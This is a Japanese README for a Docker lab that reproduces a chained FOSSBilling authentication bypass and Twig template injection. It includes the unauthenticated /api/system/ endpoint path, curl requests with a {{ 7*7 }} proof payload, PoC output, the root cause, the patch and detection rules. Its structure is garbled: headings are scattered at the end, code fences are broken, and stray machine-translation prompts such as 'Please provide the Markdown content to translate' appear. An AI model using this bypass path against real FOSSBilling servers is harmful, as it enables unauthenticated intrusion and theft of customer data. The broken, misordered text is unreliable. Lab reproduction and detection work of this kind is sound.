Pre-Auth RCE は両方の脆弱性が連携して動作する必要があります:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘

このラボでは、安全な算術証明 `{{ 7*7 }}` を使用してこのチェーンを実演します。`getDi()` を経由する完全な RCE パスは実演しません。

## 検証済みの事実

| 主張 | 証拠 | 検証方法 |
| ----- | -------- | ------------- |
| CVE-2026-27604 は FOSSBilling API のロール処理における認証バイパスです。 | GHSA-78x5-c8gw-8279: ロールチェッカーに throw が欠落しているため、/api/system/ が管理者として解決されます。 | PoC を実行: ゲストパスは拒否され、システムパスは管理者結果を返します。 |
| CVE-2026-28496 は FOSSBilling の Twig レンダリングにおける SSTI です。 | GHSA-57mv-jm88-66jc: string_render がサンドボックスなしで _tpl を Twig の createTemplate() に渡します。 | PoC を実行: サーバーが {{ 7*7 }} を評価し、49 を返します。 |
| 両方の脆弱性は FOSSBilling 0.5.4 から 0.7.2 に影響します。 | 公開アドバイザリが影響を受けるバージョン範囲を特定しています。 | 脆弱なターゲット (0.7.2) とパッチ適用済みターゲット (0.8.0) を比較します。 |
| FOSSBilling 0.8.0 は両方の脆弱性にパッチを適用しています。 | パッチ適用済みターゲットは、テストされたエンドポイントに対して「Unknown API call」を返します。 | ポート 8082 に対して PoC を実行します。 |
| 認証バイパスにより、未認証の管理者アクセスが可能になります。 | /api/guest/ は string_render を拒否しますが、/api/system/ は認証なしで結果を返します。 | PoC のステージ 1 を実行します。 |
| SSTI は攻撃者が制御するテンプレートを評価します。 | {{ 7*7 }} は脆弱なパスを通じて 49 を返します。 | PoC のステージ 2 を実行します。 |
| このチェーンにより Pre-Auth RCE が可能になります。 | 認証バイパス + SSTI = 管理者コンテキストでの未認証テンプレートインジェクション。 | 完全なチェーン PoC を実行します。 |
| PoC は HTTP のみです。 | poc.py は HTTP POST リクエストのみを送信します。 | poc/poc.py を検査します。 |

## 根本原因分析

### CVE-2026-27604: 認証バイパス

FOSSBilling API は URL パスからロールを解決します:```text
/api/:role/:module/:method

例外がスローされることはないため、検証は静かに通過します。ロール `system` は cron 管理者 ID に解決され、認証されていない呼び出し元に完全な管理者 API アクセスを付与します。

セキュリティへの影響:```text
/api/guest/system/string_render  → denied (guest role, no admin access)
/api/admin/system/string_render  → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)

`renderString()` メソッドは `createTemplateFromString()` にフォールスルーします:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
    try {
        $twig = $this->di['twig'];
        $template = $twig->createTemplate($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception $e) {
        $parsed = $tpl;

        if (!$try_render) {
            throw $e;
        }
    }

    return $parsed;
}

## ソースパッチの概要

FOSSBilling 0.8.0 は両方の脆弱性に対処しています：

**認証バイパスの修正 (CVE-2026-27604):**
ロールチェッカーは、許可されていないロールに対して適切に例外をスローするようになりました。

**SSTI の修正 (CVE-2026-28496):**
テンプレートのレンダリングは、サンドボックス化されたレンダラーを経由するようになりました：```php
$rendered = SandboxedStringRenderer::render(
    $twig,
    $tpl,
    $vars,
    $errorMessage
);

このラボでテストされた公開APIパスについて、FOSSBilling 0.8.0はテストされたエンドポイントをまったく公開していません:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

## ラボアーキテクチャ```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore

サービス	コンポーネント	バージョン / 役割
vuln	FOSSBilling	0.7.2 脆弱なターゲット
patched	FOSSBilling	0.8.0 パッチ適用済みターゲット
vuln-db	MariaDB	脆弱なターゲット用データベース
patched-db	MariaDB	パッチ適用済みターゲット用データベース
installer-vuln	curl sidecar	脆弱なターゲットを自動インストール
installer-patched	curl sidecar	パッチ適用済みターゲットを自動インストール

インストーラーのサイドカーは `docker compose up` 中に自動的に実行されます。それらは両方の FOSSBilling ターゲットをローカルの使い捨て認証情報で初期化し、その後終了します。

## 要件

* Docker Desktop または Docker Engine
* Docker Compose v2
* Python 3
* 初回の Docker イメージプル時のインターネットアクセス

Python のサードパーティパッケージは不要です。PoC は Python 標準ライブラリモジュールのみを使用します。

## クイックスタート

クリーンな状態からラボを起動します:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

**Stage 2 — SSTI (CVE-2026-28496):**
バイパスされた管理エンドポイントを通じたサーバーサイドテンプレート評価を確認します。```text
[2] POST /api/system/system/string_render
    body={"_tpl":"{{ 7*7 }}"}
    → result="49" (template evaluated)

(no content provided)```text
============================================================
  CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC
  FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI
============================================================
  Scope:  authorized local lab target only
  Target: http://localhost:8081

============================================================
STAGE 1: Auth Bypass (CVE-2026-27604)
============================================================

  [1a] Guest role: POST /api/guest/system/string_render
       status=400
       error={'message': '...', 'code': ...}
       → Denied (expected — guest has no admin access)

  [1b] System role (bypass): POST /api/system/system/string_render
       status=200
       result=49
       → Admin method returned result WITHOUT authentication

  VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth
           CVE-2026-27604 CONFIRMED

============================================================
STAGE 2: SSTI (CVE-2026-28496)
============================================================

  [2] POST /api/system/system/string_render
      body={"_tpl": "{{ 7*7 }}"}
      status=200
      response={"result":"49","error":null}

  VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49
           CVE-2026-28496 CONFIRMED

============================================================
STAGE 3: Chain Assessment
============================================================

  CVE-2026-27604  Auth Bypass  CVSS v4: 10.0  CONFIRMED
  CVE-2026-28496  SSTI         CVSS v4: 9.4   CONFIRMED

  CHAIN RESULT: Pre-Auth RCE path CONFIRMED

Please provide the Markdown content to translate.```text
  CVE-2026-27604  Auth Bypass  CVSS v4: 10.0  NOT PRESENT
  CVE-2026-28496  SSTI         CVSS v4: 9.4   NOT PRESENT

  CHAIN RESULT: PATCHED — neither vulnerability is present
  Target appears to be FOSSBilling >= 0.8.0

システムパス（認証をバイパス）:```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

### パッチ適用後の比較```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

## 影響

このチェーンにより、FOSSBilling に対する未認証のリモートコード実行が可能になります。FOSSBilling は請求およびクライアント管理プラットフォームであり、以下の情報を保存している可能性があります:

* 顧客レコードおよび個人データ
* 請求データおよび支払い設定
* サーバー認証情報および API トークン
* 管理者アカウントおよびセッション

実証されたラボペイロードは無害です (`{{ 7*7 }}`)。`getDi()` および DI コンテナを経由した実際の影響チェーンには以下が含まれます:

* PDO を介した SQL 実行 (認証情報の抽出、データの持ち出し)
* 40 以上のアプリケーションサービスへのアクセス
* 拡張機能マネージャーへのアクセス (コード実行)
* アプリケーション状態の変更
* ファイル書き込みやコマンド実行パスと連鎖した場合のサーバー全体の侵害

単一の未認証 HTTP POST で DI コンテナに到達するのに十分です。この PoC はそのパスを実証していません。

## 検出と監視

疑わしいリクエストパターン:```text
POST /api/system/system/string_render
POST /api/system/*  (any admin method via system role)

高シグナル検出ルール:```text
Rule 1: POST to /api/system/ from unauthenticated source
Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }}
Rule 3: Response contains "result" with rendered template output

## クリーンアップ```bash
# Stop containers
docker compose down --remove-orphans

# Stop containers and remove volumes
docker compose down -v --remove-orphans

# Remove evidence files
rm -rf evidence/

このラボでは以下を実証しません：

* getDi() を介したリモートコマンド実行
* PDO を介した認証情報の抽出
* データベースのダンプ
* 拡張機能のインストール
* Web シェルのアップロード
* 永続化または横展開
* 外部コールバック
* ラボ以外のシステムに対する攻撃

## 参考資料

* **CVE-2026-27604** — FOSSBilling 認証バイパス
  https://www.cve.org/CVERecord?id=CVE-2026-27604

* **CVE-2026-28496** — FOSSBilling SSTI
  https://www.cve.org/CVERecord?id=CVE-2026-28496

* **GHSA-78x5-c8gw-8279** — 認証バイパスアドバイザリ
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279

* **GHSA-57mv-jm88-66jc** — SSTI アドバイザリ
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

* **NVD — CVE-2026-27604**
  https://nvd.nist.gov/vuln/detail/CVE-2026-27604

* **NVD — CVE-2026-28496**
  https://nvd.nist.gov/vuln/detail/CVE-2026-28496

* **VulnCheck** — FOSSBilling 認証バイパスと Twig SSTI による未認証 RCE
  https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

* **FOSSBilling GitHub リポジトリ**
  https://github.com/FOSSBilling/FOSSBilling

* **FOSSBilling Docker イメージ**
  https://hub.docker.com/r/fossbilling/fossbilling

* **Twig ドキュメント — Sandbox 拡張機能**
  https://twig.symfony.com/doc/3.x/sandbox.html

CVE-2026-28496

人気

攻撃チェーン

CVE-2026-28496: SSTI

複合チェーン```text

PoCの使用法```bash

期待される結果

脆弱なターゲット (FOSSBilling 0.7.2)```bash

パッチ適用済みターゲット (FOSSBilling 0.8.0)```bash

手動 HTTP 再現

認証バイパスの証明 (CVE-2026-27604)

SSTI の証明 (CVE-2026-28496)

緩和策

便利なコマンド```bash

Container status

Installer logs

Chain validation — vulnerable

Chain validation — patched

Manual auth bypass proof

Save evidence

安全境界

CVE-2026-27604	認証バイパス	10.0	GHSA-78x5-c8gw-8279	API ロールチェッカーに throw が欠落しているため、管理者エンドポイントが未認証の呼び出し元に公開される
CVE-2026-28496	SSTI	9.4	GHSA-57mv-jm88-66jc	string_render API を介したサンドボックス化されていない Twig テンプレートレンダリング

サービス	FOSSBilling バージョン	目的	URL
vuln	0.7.2	脆弱なターゲット	http://localhost:8081
patched	0.8.0	パッチ適用済みターゲット	http://localhost:8082